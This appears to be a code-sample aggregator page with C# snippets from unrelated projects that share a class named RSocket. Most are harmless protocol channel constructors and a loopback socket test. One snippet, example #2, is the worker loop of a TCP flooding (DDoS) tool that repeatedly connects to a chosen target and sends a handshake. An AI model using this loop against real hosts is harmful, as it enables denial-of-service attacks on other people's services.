示例#1
0
        public void Test()
        {
            server            = new RSocket(43210);
            client            = new RSocket("127.0.0.1", 43210);
            server.OnRecvData = ServerRecv;
            client.OnRecvData = ClientRecv;

            Thread tick = new Thread(TickSocket);

            tick.Start();
            string info = "";

            while ((info = Console.ReadLine()).Length > 0)
            {
                client.Send(StrToBytes(info));
            }
            isRunning = false;
            client.Close();
            server.Close();
        }
示例#2
0
 private void bw_DoWork(object indexinthreads)
 {
     #region Wait 4 init
     while (!this._init)
     {
         Thread.Sleep(100);
     }
     var myIndexForWork = (int)indexinthreads;
     #endregion
     #region DDoS
     try {
         var csockets = 0;
         while (this.IsFlooding)
         {
             while (csockets > this._msockets)
             {
                 Thread.Sleep(100);
             }
             try {
                 csockets++;
                 var s = new RSocket(
                     AddressFamily.InterNetwork,
                     SocketType.Stream,
                     ProtocolType.Tcp)
                 {
                     NoDelay = true
                 };
                 s.Connect(
                     this.Target,
                     this.Port);
                 s.Shutdown(SocketShutdown.Receive);
                 s.Send(this._handshake);
                 s.Dispose();
                 csockets--;
             }
             catch (Exception) {}
         }
     }
     catch (Exception) {}
     #endregion
 }
示例#3
0
 public RequestFireAndForgetResponderChannel(RSocket socket, int channelId, ReadOnlySequence <byte> metadata, ReadOnlySequence <byte> data) : base(socket, channelId, metadata, data, 0, null)
 {
 }
 public RequestStreamResponderChannel(RSocket socket, int channelId, ReadOnlySequence <byte> metadata, ReadOnlySequence <byte> data, int initialRequest, Channeler channeler) : base(socket, channelId, metadata, data, initialRequest, channeler)
 {
 }
 public ResponderChannel(RSocket socket, int channelId, ReadOnlySequence <byte> metadata, ReadOnlySequence <byte> data, int initialRequest, Channeler channeler) : base(socket, channelId, initialRequest)
 {
     this.Metadata   = metadata;
     this.Data       = data;
     this._channeler = channeler;
 }
示例#6
0
 public RSocketService(RSocket socket)
 {
     Socket = socket;
 }
 public RequesterChannel(RSocket socket, int channelId, IObservable <Payload> outgoing) : base(socket, channelId)
 {
     this._outgoing = Helpers.AsPublisher(outgoing);
 }